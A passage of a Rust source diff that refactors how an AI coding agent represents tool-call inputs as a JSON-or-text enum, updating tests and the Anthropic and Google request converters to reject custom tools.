                 name: ToolRequiringPermission::NAME.into(),
                 raw_input: "{}".into(),
-                input: json!({}),
+                input: language_model::LanguageModelToolUseInput::Json(json!({})),
                 is_input_complete: true,
                 thought_signature: None,
             },
@@ -7451,7 +7491,7 @@ async fn test_external_settings_edit_resolves_pending_authorization(cx: &mut Tes
             id: "tool_id_1".into(),
             name: ToolRequiringPermission::NAME.into(),
             raw_input: "{}".into(),
-            input: json!({}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -7522,7 +7562,7 @@ async fn test_external_deny_rule_resolves_pending_authorization(cx: &mut TestApp
             id: "tool_id_1".into(),
             name: ToolRequiringPermission::NAME.into(),
             raw_input: "{}".into(),
-            input: json!({}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -7598,7 +7638,7 @@ async fn test_unrelated_settings_change_does_not_resolve_pending_authorization(
             id: "tool_id_1".into(),
             name: ToolRequiringPermission::NAME.into(),
             raw_input: "{}".into(),
-            input: json!({}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -7668,7 +7708,7 @@ async fn test_always_allow_does_not_resolve_unrelated_tool_authorization(cx: &mu
                 id: id.into(),
                 name: name.into(),
                 raw_input: "{}".into(),
-                input: json!({}),
+                input: language_model::LanguageModelToolUseInput::Json(json!({})),
                 is_input_complete: true,
                 thought_signature: None,
             },
@@ -7765,7 +7805,7 @@ async fn test_queued_message_ends_turn_at_boundary(cx: &mut TestAppContext) {
             id: "tool_1".into(),
             name: "echo".into(),
             raw_input: r#"{"text": "hello"}"#.into(),
-            input: json!({"text": "hello"}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({"text": "hello"})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -7847,7 +7887,7 @@ async fn test_queued_message_does_not_end_turn_without_boundary_flag(cx: &mut Te
             id: "tool_1".into(),
             name: "echo".into(),
             raw_input: r#"{"text": "hello"}"#.into(),
-            input: json!({"text": "hello"}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({"text": "hello"})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -7914,7 +7954,7 @@ async fn test_streaming_tool_error_breaks_stream_loop_immediately(cx: &mut TestA
         id: "call_1".into(),
         name: StreamingFailingEchoTool::NAME.into(),
         raw_input: "hello".into(),
-        input: json!({}),
+        input: language_model::LanguageModelToolUseInput::Json(json!({})),
         is_input_complete: false,
         thought_signature: None,
     };
@@ -7996,7 +8036,7 @@ async fn test_streaming_tool_error_waits_for_prior_tools_to_complete(cx: &mut Te
             id: "call_1".into(),
             name: StreamingEchoTool::NAME.into(),
             raw_input: "hello".into(),
-            input: json!({ "text": "hello" }),
+            input: language_model::LanguageModelToolUseInput::Json(json!({ "text": "hello" })),
             is_input_complete: false,
             thought_signature: None,
         },
@@ -8005,7 +8045,7 @@ async fn test_streaming_tool_error_waits_for_prior_tools_to_complete(cx: &mut Te
         id: "call_1".into(),
         name: StreamingEchoTool::NAME.into(),
         raw_input: "hello world".into(),
-        input: json!({ "text": "hello world" }),
+        input: language_model::LanguageModelToolUseInput::Json(json!({ "text": "hello world" })),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -8015,7 +8055,7 @@ async fn test_streaming_tool_error_waits_for_prior_tools_to_complete(cx: &mut Te
     let second_tool_use = LanguageModelToolUse {
         name: StreamingFailingEchoTool::NAME.into(),
         raw_input: "hello".into(),
-        input: json!({ "text": "hello" }),
+        input: language_model::LanguageModelToolUseInput::Json(json!({ "text": "hello" })),
         is_input_complete: false,
         thought_signature: None,
         id: "call_2".into(),
@@ -8144,7 +8184,7 @@ async fn test_mid_turn_model_and_settings_refresh(cx: &mut TestAppContext) {
             id: "tool_1".into(),
             name: "echo".into(),
             raw_input: r#"{"text":"hello"}"#.into(),
-            input: json!({"text": "hello"}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({"text": "hello"})),
             is_input_complete: true,
             thought_signature: None,
         },
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 48b86de73b90f9..2c8c5e3dea36f8 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -607,7 +607,7 @@ impl AgentMessage {
                         "{}\n",
                         MarkdownCodeBlock {
                             tag: "json",
-                            text: &format!("{:#}", tool_use.input)
+                            text: &format!("{:#}", tool_use.input.to_display_json())
                         }
                     ));
                 }
@@ -1593,7 +1593,7 @@ impl Thread {
                 .unbounded_send(Ok(ThreadEvent::ToolCall(
                     acp::ToolCall::new(tool_use.id.to_string(), tool_use.name.to_string())
                         .status(status)
-                        .raw_input(tool_use.input.clone()),
+                        .raw_input(tool_use.input.to_display_json()),
                 )))
                 .ok();
             let mut fields = acp::ToolCallUpdateFields::new()
@@ -1606,15 +1606,12 @@ impl Thread {
             return;
         };
 
-        let title = tool.initial_title(tool_use.input.clone(), cx);
+        let Ok(input) = tool_use.input.clone().into_json() else {
+            return;
+        };
+        let title = tool.initial_title(input.clone(), cx);
         let kind = tool.kind();
-        stream.send_tool_call(
-            &tool_use.id,
-            &tool_use.name,
-            title,
-            kind,
-            tool_use.input.clone(),
-        );
+        stream.send_tool_call(&tool_use.id, &tool_use.name, title, kind, input.clone());
 
         if let Some(content) = replay_content {
             stream.update_tool_call_fields(
@@ -1635,8 +1632,7 @@ impl Thread {
                 self.sandbox_grants.clone(),
                 Some(cx.weak_entity()),
             );
-            tool.replay(tool_use.input.clone(), output, tool_event_stream, cx)
-                .log_err();
+            tool.replay(input, output, tool_event_stream, cx).log_err();
         }
 
         stream.update_tool_call_fields(
@@ -3418,7 +3414,9 @@ impl Thread {
         let mut title = SharedString::from(&tool_use.name);
         let mut kind = acp::ToolKind::Other;
         if let Some(tool) = tool.as_ref() {
-            title = tool.initial_title(tool_use.input.clone(), cx);
+            if let Ok(input) = tool_use.input.clone().into_json() {
+                title = tool.initial_title(input, cx);
+            }
             kind = tool.kind();
         }
 
@@ -3435,16 +3433,33 @@ impl Thread {
             }));
         };
 
+        // Agent tools are JSON-schema tools. Custom text-tool deltas are rejected
+        // before considering partial-vs-complete input for these local tools.
+        let input = match tool_use.input.clone().into_json() {
+            Ok(input) => input,
+            Err(error) => {
+                return Some(Task::ready(LanguageModelToolResult {
+                    content: vec![LanguageModelToolResultContent::Text(Arc::from(
+                        error.to_string(),
+                    ))],
+                    tool_use_id: tool_use.id,
+                    tool_name: tool_use.name,
+                    is_error: true,
+                    output: None,
+                }));
+            }
+        };
+
         if !tool_use.is_input_complete {
             if tool.supports_input_streaming() {
                 let running_turn = self.running_turn.as_mut()?;
                 if let Some(sender) = running_turn.streaming_tool_inputs.get_mut(&tool_use.id) {
-                    sender.send_partial(tool_use.input);
+                    sender.send_partial(input);
                     return None;
                 }
 
                 let (mut sender, tool_input) = ToolInputSender::channel();
-                sender.send_partial(tool_use.input);
+                sender.send_partial(input);
                 running_turn
                     .streaming_tool_inputs
                     .insert(tool_use.id.clone(), sender);
@@ -3471,12 +3486,12 @@ impl Thread {
             .streaming_tool_inputs
             .remove(&tool_use.id)
         {
-            sender.send_full(tool_use.input);
+            sender.send_full(input);
             return None;
         }
 
         log::debug!("Running tool {}", tool_use.name);
-        let tool_input = ToolInput::ready(tool_use.input);
+        let tool_input = ToolInput::ready(input);
         Some(self.run_tool(
             tool,
             tool_input,
@@ -3600,7 +3615,7 @@ impl Thread {
             id: tool_use_id,
             name: tool_name,
             raw_input: raw_input.to_string(),
-            input: serde_json::json!({}),
+            input: language_model::LanguageModelToolUseInput::Json(serde_json::json!({})),
             is_input_complete: true,
             thought_signature: None,
         };
@@ -3676,7 +3691,7 @@ impl Thread {
                 &tool_use.name,
                 title,
                 kind,
-                tool_use.input.clone(),
+                tool_use.input.to_display_json(),
             );
             last_message
                 .content
@@ -3687,7 +3702,7 @@ impl Thread {
                 acp::ToolCallUpdateFields::new()
                     .title(title.as_str())
                     .kind(kind)
-                    .raw_input(tool_use.input.clone()),
+                    .raw_input(tool_use.input.to_display_json()),
                 None,
             );
         }
@@ -3927,12 +3942,12 @@ impl Thread {
                 .iter()
                 .filter_map(|(tool_name, tool)| {
                     log::trace!("Including tool: {}", tool_name);
-                    Some(LanguageModelRequestTool {
-                        name: tool_name.to_string(),
-                        description: tool.description().to_string(),
-                        input_schema: tool.input_schema(model.tool_input_format()).log_err()?,
-                        use_input_streaming: tool.supports_input_streaming(),
-                    })
+                    Some(LanguageModelRequestTool::function(
+                        tool_name.to_string(),
+                        tool.description().to_string(),
+                        tool.input_schema(model.tool_input_format()).log_err()?,
+                        tool.supports_input_streaming(),
+                    ))
                 })
                 .collect::<Vec<_>>()
         } else {
@@ -7870,7 +7885,7 @@ mod tests {
                     id: registered_tool_use_id.clone(),
                     name: ReplayImageTool::NAME.into(),
                     raw_input: "null".to_string(),
-                    input: json!(null),
+                    input: language_model::LanguageModelToolUseInput::Json(json!(null)),
                     is_input_complete: true,
                     thought_signature: None,
                 };
@@ -7878,7 +7893,7 @@ mod tests {
                     id: missing_tool_use_id.clone(),
                     name: "missing_image_tool".into(),
                     raw_input: "{}".to_string(),
-                    input: json!({}),
+                    input: language_model::LanguageModelToolUseInput::Json(json!({})),
                     is_input_complete: true,
                     thought_signature: None,
                 };
@@ -8185,7 +8200,10 @@ mod tests {
                         assert_eq!(tool_use.raw_input, raw_input.to_string());
                         assert!(tool_use.is_input_complete);
                         // Should fall back to empty object for invalid JSON
-                        assert_eq!(tool_use.input, json!({}));
+                        assert_eq!(
+                            tool_use.input,
+                            language_model::LanguageModelToolUseInput::Json(json!({}))
+                        );
                     }
                     _ => panic!("Expected ToolUse content"),
                 }
diff --git a/crates/agent/src/tools.rs b/crates/agent/src/tools.rs
index 452b4a01d09135..85da6bbb214dcb 100644
--- a/crates/agent/src/tools.rs
+++ b/crates/agent/src/tools.rs
@@ -153,12 +153,12 @@ macro_rules! tools {
         /// A list of all built-in tools
         pub fn built_in_tools() -> impl Iterator<Item = LanguageModelRequestTool> {
             fn language_model_tool<T: AgentTool>() -> LanguageModelRequestTool {
-                LanguageModelRequestTool {
-                    name: T::NAME.to_string(),
-                    description: T::description().to_string(),
-                    input_schema: T::input_schema(LanguageModelToolSchemaFormat::JsonSchema).to_value(),
-                    use_input_streaming: T::supports_input_streaming(),
-                }
+                LanguageModelRequestTool::function(
+                    T::NAME.to_string(),
+                    T::description().to_string(),
+                    T::input_schema(LanguageModelToolSchemaFormat::JsonSchema).to_value(),
+                    T::supports_input_streaming(),
+                )
             }
             [
                 $(
diff --git a/crates/agent/src/tools/evals/edit_file.rs b/crates/agent/src/tools/evals/edit_file.rs
index eb690cdcdf08b3..4a8537805db40b 100644
--- a/crates/agent/src/tools/evals/edit_file.rs
+++ b/crates/agent/src/tools/evals/edit_file.rs
@@ -503,7 +503,9 @@ impl EditToolTest {
                     if tool_use.is_input_complete
                         && tool_use.name.as_ref() == EditFileTool::NAME =>
                 {
-                    let input: EditFileToolInput = serde_json::from_value(tool_use.input)
+                    let input: EditFileToolInput = tool_use
+                        .input
+                        .parse()
                         .context("Failed to parse tool input as EditFileToolInput")?;
                     return Ok(input);
                 }
@@ -607,7 +609,9 @@ fn tool_use(
         id: LanguageModelToolUseId::from(id.into()),
         name: name.into(),
         raw_input: serde_json::to_string_pretty(&input).unwrap(),
-        input: serde_json::to_value(input).unwrap(),
+        input: language_model::LanguageModelToolUseInput::Json(
+            serde_json::to_value(input).unwrap(),
+        ),
         is_input_complete: true,
         thought_signature: None,
     })
diff --git a/crates/agent/src/tools/evals/terminal_tool.rs b/crates/agent/src/tools/evals/terminal_tool.rs
index d5c3ac1ba87be1..31b35c0e539542 100644
--- a/crates/agent/src/tools/evals/terminal_tool.rs
+++ b/crates/agent/src/tools/evals/terminal_tool.rs
@@ -327,7 +327,9 @@ async fn extract_tool_use(
             Ok(LanguageModelCompletionEvent::ToolUse(tool_use))
                 if tool_use.is_input_complete && tool_use.name.as_ref() == TerminalTool::NAME =>
             {
-                let input: TerminalToolInput = serde_json::from_value(tool_use.input)
+                let input: TerminalToolInput = tool_use
+                    .input
+                    .parse()
                     .context("Failed to parse tool input as TerminalToolInput")?;
                 return Ok(input);
             }
diff --git a/crates/agent/src/tools/evals/write_file.rs b/crates/agent/src/tools/evals/write_file.rs
index 3fce2b04047728..c0fb1de7de7b88 100644
--- a/crates/agent/src/tools/evals/write_file.rs
+++ b/crates/agent/src/tools/evals/write_file.rs
@@ -323,7 +323,9 @@ impl WriteToolTest {
                     if tool_use.is_input_complete
                         && tool_use.name.as_ref() == WriteFileTool::NAME =>
                 {
-                    let input: WriteFileToolInput = serde_json::from_value(tool_use.input)
+                    let input: WriteFileToolInput = tool_use
+                        .input
+                        .parse()
                         .context("Failed to parse tool input as WriteFileToolInput")?;
                     return Ok(input);
                 }
@@ -410,7 +412,9 @@ fn tool_use(
         id: LanguageModelToolUseId::from(id.into()),
         name: name.into(),
         raw_input: serde_json::to_string_pretty(&input).unwrap(),
-        input: serde_json::to_value(input).unwrap(),
+        input: language_model::LanguageModelToolUseInput::Json(
+            serde_json::to_value(input).unwrap(),
+        ),
         is_input_complete: true,
         thought_signature: None,
     })
diff --git a/crates/agent_ui/src/buffer_codegen.rs b/crates/agent_ui/src/buffer_codegen.rs
index 1fee158f4a16b2..022bf5c65858c3 100644
--- a/crates/agent_ui/src/buffer_codegen.rs
+++ b/crates/agent_ui/src/buffer_codegen.rs
@@ -525,18 +525,18 @@ impl CodegenAlternative {
             messages.push(user_message);
 
             let tools = vec![
-                LanguageModelRequestTool {
-                    name: REWRITE_SECTION_TOOL_NAME.to_string(),
-                    description: "Replaces text in <rewrite_this></rewrite_this> tags with your replacement_text.".to_string(),
-                    input_schema: language_model::tool_schema::root_schema_for::<RewriteSectionInput>(tool_input_format).to_value(),
-                    use_input_streaming: false,
-                },
-                LanguageModelRequestTool {
-                    name: FAILURE_MESSAGE_TOOL_NAME.to_string(),
-                    description: "Use this tool to provide a message to the user when you're unable to complete a task.".to_string(),
-                    input_schema: language_model::tool_schema::root_schema_for::<FailureMessageInput>(tool_input_format).to_value(),
-                    use_input_streaming: false,
-                },
+                LanguageModelRequestTool::function(
+                    REWRITE_SECTION_TOOL_NAME.to_string(),
+                    "Replaces text in <rewrite_this></rewrite_this> tags with your replacement_text.".to_string(),
+                    language_model::tool_schema::root_schema_for::<RewriteSectionInput>(tool_input_format).to_value(),
+                    false,
+                ),
+                LanguageModelRequestTool::function(
+                    FAILURE_MESSAGE_TOOL_NAME.to_string(),
+                    "Use this tool to provide a message to the user when you're unable to complete a task.".to_string(),
+                    language_model::tool_schema::root_schema_for::<FailureMessageInput>(tool_input_format).to_value(),
+                    false,
+                ),
             ];
 
             LanguageModelRequest {
@@ -1179,9 +1179,7 @@ impl CodegenAlternative {
                 let mut chars_read_by_tool_id = chars_read_by_tool_id.lock();
                 match tool_use.name.as_ref() {
                     REWRITE_SECTION_TOOL_NAME => {
-                        let Ok(input) =
-                            serde_json::from_value::<RewriteSectionInput>(tool_use.input)
-                        else {
+                        let Ok(input) = tool_use.input.parse::<RewriteSectionInput>() else {
                             return None;
                         };
                         let chars_read_so_far =
@@ -1198,9 +1196,7 @@ impl CodegenAlternative {
                         })
                     }
                     FAILURE_MESSAGE_TOOL_NAME => {
-                        let Ok(mut input) =
-                            serde_json::from_value::<FailureMessageInput>(tool_use.input)
-                        else {
+                        let Ok(mut input) = tool_use.input.parse::<FailureMessageInput>() else {
                             return None;
                         };
                         Some(ToolUseOutput::Failure(std::mem::take(&mut input.message)))
@@ -2011,7 +2007,9 @@ mod tests {
             id: id.into(),
             name: REWRITE_SECTION_TOOL_NAME.into(),
             raw_input: serde_json::to_string(&input).unwrap(),
-            input: serde_json::to_value(&input).unwrap(),
+            input: language_model::LanguageModelToolUseInput::Json(
+                serde_json::to_value(&input).unwrap(),
+            ),
             is_input_complete: is_complete,
             thought_signature: None,
         })
diff --git a/crates/anthropic/src/completion.rs b/crates/anthropic/src/completion.rs
index 7c9a8c53695ca3..884ed1a1ddde9b 100644
--- a/crates/anthropic/src/completion.rs
+++ b/crates/anthropic/src/completion.rs
@@ -3,9 +3,9 @@ use collections::HashMap;
 use futures::{Stream, StreamExt};
 use language_model_core::{
     CompactionContent, LanguageModelCompletionError, LanguageModelCompletionEvent,
-    LanguageModelProviderName, LanguageModelRequest, LanguageModelToolChoice,
-    LanguageModelToolResultContent, LanguageModelToolUse, MessageContent, Role, StopReason,
-    TokenUsage,
+    LanguageModelProviderName, LanguageModelRequest, LanguageModelRequestToolInput,
+    LanguageModelToolChoice, LanguageModelToolResultContent, LanguageModelToolUse,
+    LanguageModelToolUseInput, MessageContent, Role, StopReason, TokenUsage,
     util::{fix_streamed_json, parse_tool_arguments},
 };
 use std::pin::Pin;
@@ -68,7 +68,7 @@ fn mark_last_cacheable_content(content: &mut [RequestContent], cache_control: Ca
     }
 }
 
-fn to_anthropic_content(content: MessageContent) -> Option<RequestContent> {
+fn to_anthropic_content(content: MessageContent) -> Result<Option<RequestContent>> {
     match content {
         MessageContent::Text(text) => {
             let text = if text.chars().last().is_some_and(|c| c.is_whitespace()) {
@@ -77,12 +77,12 @@ fn to_anthropic_content(content: MessageContent) -> Option<RequestContent> {
                 text
             };
             if !text.is_empty() {
-                Some(RequestContent::Text {
+                Ok(Some(RequestContent::Text {
                     text,
                     cache_control: None,
-                })
+                }))
             } else {
-                None
+                Ok(None)
             }
         }
         MessageContent::Thinking {
@@ -92,36 +92,41 @@ fn to_anthropic_content(content: MessageContent) -> Option<RequestContent> {
             if let Some(signature) = signature
                 && !thinking.is_empty()
             {
-                Some(RequestContent::Thinking {
+                Ok(Some(RequestContent::Thinking {
                     thinking,
                     signature,
                     cache_control: None,
-                })
+                }))
             } else {
-                None
+                Ok(None)
             }
         }
         MessageContent::RedactedThinking(data) => {
             if !data.is_empty() {
-                Some(RequestContent::RedactedThinking { data })
+                Ok(Some(RequestContent::RedactedThinking { data }))
             } else {
-                None
+                Ok(None)
             }
         }
-        MessageContent::Image(image) => Some(RequestContent::Image {
+        MessageContent::Image(image) => Ok(Some(RequestContent::Image {
             source: ImageSource {
                 source_type: "base64".to_string(),
                 media_type: "image/png".to_string(),
                 data: image.source.to_string(),
             },
             cache_control: None,
-        }),
-        MessageContent::ToolUse(tool_use) => Some(RequestContent::ToolUse {
-            id: tool_use.id.to_string(),
-            name: tool_use.name.to_string(),
-            input: tool_use.input,
-            cache_control: None,
-        }),
+        })),
+        MessageContent::ToolUse(tool_use) => match tool_use.input {
+            LanguageModelToolUseInput::Json(input) => Ok(Some(RequestContent::ToolUse {
+                id: tool_use.id.to_string(),
+                name: tool_use.name.to_string(),
+                input,
+                cache_control: None,
+            })),
+            LanguageModelToolUseInput::Text(_) => Err(anyhow::anyhow!(
+                "Anthropic does not support custom tool calls"
+            )),
+        },
         MessageContent::ToolResult(tool_result) => {
             let content = match tool_result.content.as_slice() {
                 [LanguageModelToolResultContent::Text(text)] => {
@@ -147,24 +152,24 @@ fn to_anthropic_content(content: MessageContent) -> Option<RequestContent> {
                     ToolResultContent::Multipart(parts)
                 }
             };
-            Some(RequestContent::ToolResult {
+            Ok(Some(RequestContent::ToolResult {
                 tool_use_id: tool_result.tool_use_id.to_string(),
                 is_error: tool_result.is_error,
                 content,
                 cache_control: None,
-            })
+            }))
         }
         MessageContent::Compaction(CompactionContent::Summary { content }) => {
-            Some(RequestContent::Compaction {
+            Ok(Some(RequestContent::Compaction {
                 content,
                 cache_control: None,
-            })
+            }))
         }
         // Encrypted compaction blocks come from other providers, and a
         // Pending block is a streaming-only UI signal; neither is replayed.
         MessageContent::Compaction(
             CompactionContent::Encrypted { .. } | CompactionContent::Pending,
-        ) => None,
+        ) => Ok(None),
     }
 }
 
@@ -175,7 +180,7 @@ pub fn into_anthropic(
     max_output_tokens: u64,
     mode: AnthropicModelMode,
     cache_mode: AnthropicPromptCacheMode,
-) -> crate::Request {
+) -> Result<crate::Request> {
     let mut new_messages: Vec<Message> = Vec::new();
     let mut system_message = String::new();
     let mut any_message_wants_cache = false;
@@ -189,11 +194,12 @@ pub fn into_anthropic(
 
         match message.role {
             Role::User | Role::Assistant => {
-                let mut anthropic_message_content: Vec<RequestContent> = message
-                    .content
-                    .into_iter()
-                    .filter_map(to_anthropic_content)
-                    .collect();
+                let mut anthropic_message_content = Vec::new();
+                for content in message.content {
+                    if let Some(content) = to_anthropic_content(content)? {
+                        anthropic_message_content.push(content);
+                    }
+                }
                 let anthropic_role = match message.role {
                     Role::User => crate::Role::User,
                     Role::Assistant => crate::Role::Assistant,
@@ -261,21 +267,29 @@ pub fn into_anthropic(
     let mut tools: Vec<Tool> = request
         .tools
         .into_iter()
-        .map(|tool| Tool {
-            name: tool.name,
-            description: tool.description,
-            input_schema: tool.input_schema,
-            eager_input_streaming: tool.use_input_streaming,
-            cache_control: None,
+        .map(|tool| match tool.input {
+            LanguageModelRequestToolInput::Function {
+                input_schema,
+                use_input_streaming,
+            } => Ok(Tool {
+                name: tool.name,
+                description: tool.description,
+                input_schema,
+                eager_input_streaming: use_input_streaming,
+                cache_control: None,
+            }),
+            LanguageModelRequestToolInput::Custom { .. } => {
+                Err(anyhow::anyhow!("Anthropic does not support custom tools"))
+            }
         })
-        .collect();
+        .collect::<Result<_>>()?;
     if let Some(cache_control) = long_lived_cache
         && let Some(last_tool) = tools.last_mut()
     {
         last_tool.cache_control = Some(cache_control);
     }
 
-    crate::Request {
+    Ok(crate::Request {
         model,
         messages: new_messages,
         max_tokens: max_output_tokens,
@@ -339,7 +353,7 @@ pub fn into_anthropic(
                 trigger: Some(CompactionTrigger::InputTokens { value }),
             }],
         }),
-    }
+    })
 }
 
 pub struct AnthropicEventMapper {
@@ -451,7 +465,7 @@ impl AnthropicEventMapper {
                                     name: tool_use.name.clone().into(),
                                     is_input_complete: false,
                                     raw_input: tool_use.input_json.clone(),
-                                    input,
+                                    input: LanguageModelToolUseInput::Json(input),
                                     thought_signature: None,
                                 },
                             ))];
@@ -469,7 +483,7 @@ impl AnthropicEventMapper {
                                 id: tool_use.id.into(),
                                 name: tool_use.name.into(),
                                 is_input_complete: true,
-                                input,
+                                input: LanguageModelToolUseInput::Json(input),
                                 raw_input: tool_use.input_json.clone(),
                                 thought_signature: None,
                             },
@@ -597,12 +611,12 @@ mod tests {
             intent: None,
             stop: vec![],
             temperature: None,
-            tools: vec![language_model_core::LanguageModelRequestTool {
-                name: "do_thing".into(),
-                description: "Does a thing.".into(),
-                input_schema: serde_json::json!({"type": "object"}),
-                use_input_streaming: false,
-            }],
+            tools: vec![language_model_core::LanguageModelRequestTool::function(
+                "do_thing".into(),
+                "Does a thing.".into(),
+                serde_json::json!({"type": "object"}),
+                false,
+            )],
             tool_choice: None,
             thinking_allowed: true,
             thinking_effort: None,
@@ -617,7 +631,8 @@ mod tests {
             4096,
             AnthropicModelMode::Default,
             AnthropicPromptCacheMode::Automatic,
-        );
+        )
+        .unwrap();
 
         // No message content block should carry cache_control anymore; the
         // conversation breakpoint is set via top-level automatic caching.
@@ -703,12 +718,12 @@ mod tests {
             intent: None,
             stop: vec![],
             temperature: None,
-            tools: vec![language_model_core::LanguageModelRequestTool {
-                name: "do_thing".into(),
-                description: "Does a thing.".into(),
-                input_schema: serde_json::json!({"type": "object"}),
-                use_input_streaming: false,
-            }],
+            tools: vec![language_model_core::LanguageModelRequestTool::function(
+                "do_thing".into(),
+                "Does a thing.".into(),
+                serde_json::json!({"type": "object"}),
+                false,
+            )],
             tool_choice: None,
             thinking_allowed: true,
             thinking_effort: None,
@@ -723,7 +738,8 @@ mod tests {
             4096,
             AnthropicModelMode::Default,
             AnthropicPromptCacheMode::Legacy,
-        );
+        )
+        .unwrap();
 
         assert!(anthropic_request.cache_control.is_none());
         assert!(matches!(
@@ -781,7 +797,8 @@ mod tests {
             128_000,
             AnthropicModelMode::AdaptiveThinking,
             AnthropicPromptCacheMode::Automatic,
-        );
+        )
+        .unwrap();
 
         assert_eq!(
             anthropic_request
@@ -813,12 +830,12 @@ mod tests {
             intent: None,
             stop: vec![],
             temperature: None,
-            tools: vec![language_model_core::LanguageModelRequestTool {
-                name: "do_thing".into(),
-                description: "Does a thing.".into(),
-                input_schema: serde_json::json!({"type": "object"}),
-                use_input_streaming: false,
-            }],
+            tools: vec![language_model_core::LanguageModelRequestTool::function(
+                "do_thing".into(),
+                "Does a thing.".into(),
+                serde_json::json!({"type": "object"}),
+                false,
+            )],
             tool_choice: None,
             thinking_allowed: true,
             thinking_effort: None,
@@ -833,7 +850,8 @@ mod tests {
             4096,
             AnthropicModelMode::Default,
             AnthropicPromptCacheMode::Automatic,
-        );
+        )
+        .unwrap();
 
         assert!(anthropic_request.cache_control.is_none());
         assert!(matches!(
@@ -879,6 +897,7 @@ mod tests {
             },
             AnthropicPromptCacheMode::Automatic,
         )
+        .unwrap()
     }
 
     #[test]
@@ -977,7 +996,8 @@ mod tests {
             4096,
             AnthropicModelMode::Default,
             AnthropicPromptCacheMode::Disabled,
-        );
+        )
+        .unwrap();
 
         assert_eq!(
             serde_json::to_value(&anthropic_request.context_management).unwrap(),
diff --git a/crates/google_ai/src/completion.rs b/crates/google_ai/src/completion.rs
index ab0711564834d2..16c4f86eb41625 100644
--- a/crates/google_ai/src/completion.rs
+++ b/crates/google_ai/src/completion.rs
@@ -2,8 +2,9 @@ use anyhow::Result;
 use futures::{Stream, StreamExt};
 use language_model_core::{
     LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelRequest,
-    LanguageModelToolChoice, LanguageModelToolUse, LanguageModelToolUseId, MessageContent, Role,
-    StopReason, TokenUsage,
+    LanguageModelRequestToolInput, LanguageModelToolChoice, LanguageModelToolUse,
+    LanguageModelToolUseId, LanguageModelToolUseInput, MessageContent, Role, StopReason,
+    TokenUsage,
 };
 use std::pin::Pin;
 use std::sync::Arc;
@@ -20,20 +21,18 @@ pub fn into_google(
     mut request: LanguageModelRequest,
     model_id: String,
     mode: GoogleModelMode,
-) -> crate::GenerateContentRequest {
-    fn map_content(content: Vec<MessageContent>) -> Vec<Part> {
-        content
-            .into_iter()
-            .flat_map(|content| match content {
+) -> Result<crate::GenerateContentRequest> {
+    fn map_content(content: Vec<MessageContent>) -> Result<Vec<Part>> {
+        let mut mapped_parts = Vec::new();
+        for content in content {
+            match content {
                 MessageContent::Text(text) => {
                     if !text.is_empty() {
-                        vec![Part::TextPart(TextPart {
+                        mapped_parts.push(Part::TextPart(TextPart {
                             text,
                             thought: false,
                             thought_signature: None,
-                        })]
-                    } else {
-                        vec![]
+                        }));
                     }
                 }
                 MessageContent::Thinking {
@@ -41,39 +40,37 @@ pub fn into_google(
                     signature: Some(signature),
                 } => {
                     if !signature.is_empty() {
-                        vec![Part::TextPart(TextPart {
+                        mapped_parts.push(Part::TextPart(TextPart {
                             text,
                             thought: true,
                             thought_signature: Some(signature),
-                        })]
-                    } else {
-                        vec![]
+                        }));
                     }
                 }
-                MessageContent::Thinking { .. } => {
-                    vec![]
-                }
-                MessageContent::RedactedThinking(_) | MessageContent::Compaction(_) => vec![],
+                MessageContent::Thinking { .. } => {}
+                MessageContent::RedactedThinking(_) | MessageContent::Compaction(_) => {}
                 MessageContent::Image(image) => {
-                    vec![Part::InlineDataPart(InlineDataPart {
+                    mapped_parts.push(Part::InlineDataPart(InlineDataPart {
                         inline_data: GenerativeContentBlob {
                             mime_type: "image/png".to_string(),
                             data: image.source.to_string(),
                         },
-                    })]
+                    }));
                 }
                 MessageContent::ToolUse(tool_use) => {
-                    // Normalize empty string signatures to None
                     let thought_signature = tool_use.thought_signature.filter(|s| !s.is_empty());
+                    let LanguageModelToolUseInput::Json(input) = tool_use.input else {
+                        anyhow::bail!("Google AI does not support custom tool calls");
+                    };
 
-                    vec![Part::FunctionCallPart(crate::FunctionCallPart {
+                    mapped_parts.push(Part::FunctionCallPart(crate::FunctionCallPart {
                         function_call: crate::FunctionCall {
                             name: tool_use.name.to_string(),
-                            args: tool_use.input,
+                            args: input,
                             id: Some(tool_use.id.to_string()),
                         },
                         thought_signature,
-                    })]
+                    }));
                 }
                 MessageContent::ToolResult(tool_result) => {
                     let mut text_output = String::new();
@@ -98,7 +95,7 @@ pub fn into_google(
                     } else {
                         text_output
                     };
-                    let mut parts = vec![Part::FunctionResponsePart(crate::FunctionResponsePart {
+                    mapped_parts.push(Part::FunctionResponsePart(crate::FunctionResponsePart {
                         function_response: crate::FunctionResponse {
                             name: tool_result.tool_name.to_string(),
                             // The API expects a valid JSON object
@@ -107,12 +104,12 @@ pub fn into_google(
                             }),
                             id: Some(tool_result.tool_use_id.to_string()),
                         },
-                    })];
-                    parts.extend(images.into_iter().map(Part::InlineDataPart));
-                    parts
+                    }));
+                    mapped_parts.extend(images.into_iter().map(Part::InlineDataPart));
                 }
-            })
-            .collect()
+            }
+        }
+        Ok(mapped_parts)
     }
 
     let thinking_config = thinking_config_for_request(&request, &model_id, mode);
@@ -124,33 +121,59 @@ pub fn into_google(
     {
         let message = request.messages.remove(0);
         Some(SystemInstruction {
-            parts: map_content(message.content),
+            parts: map_content(message.content)?,
         })
     } else {
         None
     };
 
-    crate::GenerateContentRequest {
+    let tools = if request.tools.is_empty() {
+        None
+    } else {
+        Some(vec![crate::Tool {
+            function_declarations: request
+                .tools
+                .into_iter()
+                .map(|tool| match tool.input {
+                    LanguageModelRequestToolInput::Function { input_schema, .. } => {
+                        Ok(FunctionDeclaration {
+                            name: tool.name,
+                            description: tool.description,
+                            parameters: input_schema,
+                        })
+                    }
+                    LanguageModelRequestToolInput::Custom { .. } => {
+                        Err(anyhow::anyhow!("Google AI does not support custom tools"))
